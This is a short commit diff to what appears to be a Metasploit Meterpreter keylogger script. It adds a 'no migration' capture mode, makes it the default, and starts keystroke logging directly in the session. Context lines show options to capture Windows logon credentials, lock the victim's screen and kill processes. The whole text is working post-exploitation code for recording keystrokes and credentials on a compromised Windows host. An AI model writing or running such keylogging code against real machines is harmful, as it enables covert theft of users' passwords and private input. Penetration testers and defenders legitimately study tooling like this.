|
8 | 8 | @@exec_opts = Rex::Parser::Arguments.new(
|
9 | 9 | "-h" => [ false, "Help menu." ],
|
10 | 10 | "-t" => [ true, "Time interval in seconds between recollection of keystrokes, default 30 seconds." ],
|
11 |
| - "-c" => [ true, "Type of key capture. (0) for user key presses or (1) for winlogon credential capture Default is 0." ], |
| 11 | + "-c" => [ true, "Type of key capture. (0) for user key presses, (1) for winlogon credential capture, or (2) for no migration. Default is 2." ], |
12 | 12 | "-l" => [ false, "Lock screen when capturing Winlogon credentials."],
|
13 | 13 | "-k" => [ false, "Kill old Process"]
|
14 | 14 | )
|
@@ -40,7 +40,7 @@ def usage
|
40 | 40 | keytime = 30
|
41 | 41 |
|
42 | 42 | #Type of capture
|
43 |
| -captype = 0 |
| 43 | +captype = 2 |
44 | 44 | # Function for locking the screen -- Thanks for the idea and API call Mubix
|
45 | 45 | def lock_screen
|
46 | 46 | print_status("Locking Screen...")
|
@@ -191,7 +191,11 @@ def keycap(session, keytime, logfile)
|
191 | 191 | end
|
192 | 192 | }
|
193 | 193 | if client.platform =~ /win32|win64/
|
194 |
| - if explrmigrate(session,captype,lock, kill) |
| 194 | + if (captype.to_i == 2) |
| 195 | + if startkeylogger(session) |
| 196 | + keycap(session, keytime, logfile) |
| 197 | + end |
| 198 | + elsif explrmigrate(session,captype,lock, kill) |
195 | 199 | if startkeylogger(session)
|
196 | 200 | keycap(session, keytime, logfile)
|
197 | 201 | end
|
|
0 commit comments